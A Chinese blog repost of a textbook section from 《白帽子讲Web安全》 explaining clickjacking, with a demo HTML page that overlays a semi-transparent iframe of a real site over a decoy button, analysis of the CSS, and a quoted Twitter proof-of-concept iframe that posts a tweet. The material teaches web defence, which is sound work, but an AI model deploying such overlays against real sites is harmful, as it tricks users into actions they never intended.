<转>5.1 什么是点击劫持

《白帽子讲Web安全》第5章点击劫持(ClickJacking),本章讲述了一种新客户端攻击方式:ClickJacking。本节为大家介绍什么是点击劫持。

AD:【线下活动】三大新锐HTML 5企业汇聚51CTO—大话移动前端技术

第5章 点击劫持(ClickJacking)

2008年,安全专家Robert Hansen 与 Jeremiah Grossman发现了一种被他们称为"ClickJacking"(点击劫持)的攻击,这种攻击方式影响了几乎所有的桌面平台,包括IE、 Safari、Firefox、Opera以及Adobe Flash。两位发现者准备在当年的OWASP安全大会上公布并进行演示,但包括Adobe在内的所有厂商,都要求在漏洞修补前不要公开此问题。

5.1  什么是点击劫持

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

 
(点击查看大图)点击劫持原理示意图

看下面这个例子。

http://www.a.com/test.html页面中插入了一个指向目标网站的iframe,出于演示的目的,我们让这个iframe变成半透明:

  1. <!DOCTYPE html
  2. <html
  3.     <head
  4.         <title>CLICK JACK!!!</title
  5.         <style
  6.         iframe {  
  7.             width: 900px;  
  8.             height: 250px;  
  9.                           
  10.               /* Use absolute positioning to line up update button with fake button */  
  11.               position: absolute;  
  12.             top: -195px;   
  13.             left: -740px;  
  14.             z-index: 2;  
  15.                           
  16.               /* Hide from view */  
  17.               -moz-opacity: 0.5;  
  18.             opacity: 0.5;  
  19.             filter: alpha(opacity=0.5);  
  20.         }  
  21.                   
  22.         button {  
  23.             position: absolute;  
  24.             top: 10px;  
  25.             left: 10px;  
  26.             z-index: 1;  
  27.             width: 120px;  
  28.         }  
  29.         </style
  30.     </head
  31.     <body
  32.         <iframe src="http://www.qidian.com" scrolling="no"></iframe
  33.         <button>CLICK HERE!</button
  34.     </body
  35. </html

在这个test.html中有一个button,如果iframe完全透明时,那么用户看到的是:

 
用户看到的按钮

当iframe半透明时,可以看到,在button上面其实覆盖了另一个网页:

 
实际的页面,按钮上隐藏了一个iframe窗口

覆盖的网页其实是一个搜索按钮:

 
隐藏的iframe窗口的内容

当用户试图点击test.html里的button时,实际上却会点击到iframe页面中的搜索按钮。

分析其代码,起到关键作用的是下面这几行:

  1. iframe {  
  2.     width: 900px;  
  3.     height: 250px;  
  4.                
  5.    /* Use absolute positioning to line up update button with fake button */  
  6.    position: absolute;  
  7.     top: -195px;   
  8.     left: -740px;  
  9.     z-index: 2;  
  10.                
  11.    /* Hide from view */  
  12.    -moz-opacity: 0.5;  
  13.     opacity: 0.5;  
  14.     filter: alpha(opacity=0.5);  
  15. }  

通过控制iframe的长、宽,以及调整 top、left的位置,可以把iframe页面内的任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z- index的值设置为最大,以达到让iframe处于页面的最上层。最后,再通过设置 opacity 来控制iframe页面的透明程度,值为0是完全不可见。

这样,就完成了一次点击劫持的攻击。

点击劫持攻击与CSRF攻击(详见"跨站点请求伪造"一章)有异曲同工之妙,都是在用户不知情的情况下诱使用户完成一些动作。但是在CSRF攻击的 过程中,如果出现用户交互的页面,则攻击可能会无法顺利完成。与之相反的是,点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。

twitter也曾经遭受过"点击劫持攻击"。安全研究者演示了一个在别人不知情的情况下发送一条twitter消息的POC,其代码与上例中类似,但是POC中的iframe地址指向了:

  1. <iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe

在twitter的URL里通过status参数来控制要发送的内容。攻击者调整页面,使得Tweet按钮被点击劫持。当用户在测试页面点击一个可见的button时,实际上却在不经意间发送了一条微博。

posted on 2015-10-28 00:25  hahahahahai12  阅读(185)  评论(0)    收藏  举报

导航